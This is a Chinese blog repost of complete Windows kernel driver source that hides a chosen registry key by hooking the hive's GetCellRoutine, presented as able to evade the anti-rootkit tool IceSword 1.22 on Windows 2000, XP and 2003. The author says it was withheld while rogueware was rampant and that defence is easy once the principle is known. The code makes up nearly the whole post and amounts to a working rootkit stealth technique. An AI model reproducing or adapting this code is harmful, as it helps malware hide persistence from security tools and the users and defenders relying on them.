文档章节

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

rise-worlds
 rise-worlds
发布于 2016/06/20 13:38
字数 889
阅读 0
收藏 0

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

  1. #include <ntddk.h>
  2.  
  3. #define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
  4.  
  5. #define CM_KEY_INDEX_ROOT      0x6972         // ir
  6. #define CM_KEY_INDEX_LEAF      0x696c         // il
  7. #define CM_KEY_FAST_LEAF       0x666c         // fl
  8. #define CM_KEY_HASH_LEAF       0x686c         // hl
  9.  
  10. // 一些CM的数据结构,只列出用到的开头部分
  11. #pragma pack(1)
  12. typedef struct _CM_KEY_NODE {
  13.        USHORT Signature;
  14.        USHORT Flags;
  15.        LARGE_INTEGER LastWriteTime;
  16.        ULONG Spare;               // used to be TitleIndex
  17.        HANDLE Parent;
  18.        ULONG SubKeyCounts[2];     // Stable and Volatile
  19.        HANDLE SubKeyLists[2];     // Stable and Volatile
  20.        // ...
  21. } CM_KEY_NODE, *PCM_KEY_NODE;
  22.  
  23. typedef struct _CM_KEY_INDEX {
  24.        USHORT Signature;
  25.        USHORT Count;
  26.        HANDLE List[1];
  27. } CM_KEY_INDEX, *PCM_KEY_INDEX;
  28.  
  29. typedef struct _CM_KEY_BODY {
  30.        ULONG Type;                // "ky02"
  31.        PVOID KeyControlBlock;
  32.        PVOID NotifyBlock;
  33.        PEPROCESS Process;         // the owner process
  34.        LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
  35. } CM_KEY_BODY, *PCM_KEY_BODY;
  36.  
  37. typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
  38.  
  39. typedef struct _HHIVE {
  40.        ULONG Signature;
  41.        PGET_CELL_ROUTINE GetCellRoutine;
  42.        // ...
  43. } HHIVE, *PHHIVE;
  44. #pragma pack()
  45.  
  46. // 需隐藏的主键名
  47. WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";
  48.  
  49. PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
  50. PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
  51.  
  52. PCM_KEY_NODE g_HideNode = NULL;
  53. PCM_KEY_NODE g_LastNode = NULL;
  54.  
  55. // 打开指定名字的Key
  56. HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
  57. {
  58.        NTSTATUS status;
  59.        UNICODE_STRING uKeyName;
  60.        OBJECT_ATTRIBUTES oa;
  61.        HANDLE hKey;
  62.  
  63.        RtlInitUnicodeString(&uKeyName, pwcsKeyName);
  64.        InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
  65.        status = ZwOpenKey(&hKey, KEY_READ, &oa);
  66.        if (!NT_SUCCESS(status))
  67.        {
  68.            DbgPrint("ZwOpenKey Failed: %lx\n", status);
  69.            return NULL;
  70.        }
  71.  
  72.        return hKey;
  73. }
  74.  
  75. // 获取指定Key句柄的KeyControlBlock
  76. PVOID GetKeyControlBlock(HANDLE hKey)
  77. {
  78.        NTSTATUS status;
  79.        PCM_KEY_BODY KeyBody;
  80.        PVOID KCB;
  81.  
  82.        if (hKey == NULL) return NULL;
  83.  
  84.        // 由Key句柄获取对象体
  85.        status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
  86.        if (!NT_SUCCESS(status))
  87.        {
  88.            DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
  89.            return NULL;
  90.        }
  91.  
  92.        // 对象体中含有KeyControlBlock
  93.        KCB = KeyBody->KeyControlBlock;
  94.        DbgPrint("KeyControlBlock = %lx\n", KCB);
  95.  
  96.        ObDereferenceObject(KeyBody);
  97.  
  98.        return KCB;
  99. }
  100.  
  101. // 获取父键的最后一个子键的节点
  102. PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
  103. {
  104.        // 获取父键的节点
  105.        PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
  106.        // 获取子键的索引
  107.        PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
  108.  
  109.        DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);
  110.  
  111.        // 如果为根(二级)索引,获取最后一个索引
  112.        if (Index->Signature == CM_KEY_INDEX_ROOT)
  113.        {
  114.            Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  115.            DbgPrint("Index = %lx\n", Index);
  116.        }
  117.  
  118.        if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
  119.        {
  120.            // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
  121.            return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
  122.        }
  123.        else
  124.        {
  125.            // 一般叶索引,返回最后的节点
  126.            return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  127.        }
  128. }
  129.  
  130. // GetCell例程的钩子函数
  131. PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
  132. {
  133.        // 调用原函数
  134.        PVOID pRet = g_pGetCellRoutine(Hive, Cell);
  135.        if (pRet)
  136.        {
  137.            // 返回的是需要隐藏的节点
  138.            if (pRet == g_HideNode)
  139.            {
  140.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  141.                // 查询、保存并返回其父键的最后一个子键的节点
  142.                pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
  143.                DbgPrint("g_LastNode = %lx\n", g_LastNode);
  144.                // 隐藏的正是最后一个节点,返回空值
  145.                if (pRet == g_HideNode) pRet = NULL;
  146.            }
  147.            // 返回的是先前保存的最后一个节点
  148.            else if (pRet == g_LastNode)
  149.            {
  150.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  151.                // 清空保存值,并返回空值
  152.                pRet = g_LastNode = NULL;
  153.            }
  154.        }
  155.        return pRet;
  156. }
  157.  
  158. NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
  159. {
  160.        DbgPrint("DriverUnload()\n");
  161.        // 解除挂钩
  162.        if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
  163.        return STATUS_SUCCESS;
  164. }
  165.  
  166. NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
  167. {
  168.        ULONG BuildNumber;
  169.        ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
  170.        ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
  171.        HANDLE hKey;
  172.        PVOID KCB, Hive;
  173.  
  174.        DbgPrint("DriverEntry()\n");
  175.  
  176.        pDrvObj->DriverUnload = DriverUnload;
  177.  
  178.        // 查询BuildNumber
  179.        if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
  180.        DbgPrint("BuildNumber = %d\n", BuildNumber);
  181.  
  182.        // KeyControlBlock结构各版本略有不同
  183.        // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
  184.        switch (BuildNumber)
  185.        {
  186.            case 2195:     // Win2000
  187.                KeyHiveOffset = 0xc;
  188.                KeyCellOffset = 0x10;
  189.                break;
  190.            case 2600:     // WinXP
  191.            case 3790:     // Win2003
  192.                KeyHiveOffset = 0x10;
  193.                KeyCellOffset = 0x14;
  194.                break;
  195.            default:
  196.                return STATUS_NOT_SUPPORTED;
  197.        }
  198.  
  199.        // 打开需隐藏的键
  200.        hKey = OpenKeyByName(g_HideKeyName);
  201.        // 获取该键的KeyControlBlock
  202.        KCB = GetKeyControlBlock(hKey);
  203.        if (KCB)
  204.        {
  205.            // 由KCB得到Hive
  206.            PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
  207.            // GetCellRoutine在KCB中,保存原地址
  208.            g_ppGetCellRoutine = &Hive->GetCellRoutine;
  209.            g_pGetCellRoutine = Hive->GetCellRoutine;
  210.            DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
  211.            // 获取需隐藏的节点并保存
  212.            g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
  213.            // 挂钩GetCell例程
  214.            Hive->GetCellRoutine = MyGetCellRoutine;
  215.        }
  216.        ZwClose(hKey);
  217.  
  218.        return STATUS_SUCCESS;
  219. }

本文转载自:http://www.cnblogs.com/flying_bat/archive/2008/03/29/1128631.html

rise-worlds

rise-worlds

粉丝 2
博文 1755
码字总数 0
作品 0
深圳
程序员
私信 提问
暗崟虫:潜藏多年的软件后门分析

  前言   近期,360核心安全团队接到用户举报多款流氓软件,包括屏幕亮度调节器、超级老板键等软件采取同一手法植入恶意代码并通过各大下载站传播,在用户电脑上偷偷执行远程代码,严重影...

FreeBuf
2018/06/21
0
0
Chino 操作系统开发日志 (1) - 为 IoT 而生

引言 很多人都听说过 IoT (物联网)这个词,越来越多的人在装修时开始选择智能家居,很多人也购买智能音箱做智能家居控制,想必未来一定是 AI + 物联网的时代。 一种技术要发展并走向成熟必...

SunnyCase
2018/08/22
0
0
你碰到过双击exe文件或桌面快捷方式没反应的情况吗;一段代码解决问题:

由于某些绿色软件在使用的过程中,会关联某注册表项,所以常常会造成双击exe文件或桌面快捷方式无反应的情况,使得电脑无法使用,所以今天特给出解决办法:将以下一段代码保存为reg,运行后即...

comma2017
2017/11/01
0
0
Window下利用BAT批处理自动配置JDK环境变量

Windows系统的环境变量都是保存在注册表里的,我们可以通过命令行或者是批处理来修改环境变量。CMD命令set可以直接修改环境变量,但那是临时的(系统重启或注销后就无效了),所以直接修改注册...

黄昏日不落
2013/08/16
0
8
SaveSetting和GetSetting用法

VB 中提供了用于访问注册表的方法 GetSetting 函数, 从 Windows 注册表中的应用程序项目返回注册表项设置值。 SaveSetting 语句, 在 Windows 注册表中保存或建立应用程序项目。 DeleteSettin...

he2375813
2018/06/26
0
0

没有更多内容

加载失败,请刷新页面

加载更多

利用mybatis generator生成实体类、Mapper接口以及对应的XML文件

项目中通常会遇到数据的持久化,如果是采用mybatis的orm,就会涉及到生成xml的问题,刚好mybatis官网提供了这么个插件MyBatis Generator,效果简直是棒呆。 1. 首先需要在build.gradle文件中...

啊哈关关
今天
2
0
SpringSocial相关的知识点

使用SprigSocial开发第三方登录 核心类 ServiceProvider(AbstractOauth2ServiceProvider):主要负责实现server提供商(例如QQ,微信等共有的东西),默认实现类是AbstractOauth2ServiceProvider...

chendom
今天
4
0
Java并发之AQS详解

一、概述   谈到并发,不得不谈ReentrantLock;而谈到ReentrantLock,不得不谈AbstractQueuedSynchronizer(AQS)!   类如其名,抽象的队列式的同步器,AQS定义了一套多线程访问共享资源...

群星纪元
昨天
4
0
Fabric-sdk-java最新教程

Fabric Java SDK是Fabric区块链官方提供的用于Java应用开发的SDK,全称为Fabric-sdk-java,网上可用资料不多,本文列出了精心整理的针对Fabric Java SDK的最新精选教程。 如果希望快速掌握F...

汇智网教程
昨天
3
0
react 子组件监听props 变化

componentWillReceiveProps //已经被废弃 getDerivedStateFromProps// 推荐使用//如果条件不存在必须要返回null static getDerivedStateFromProps(props, current_stat...

一箭落旄头
昨天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部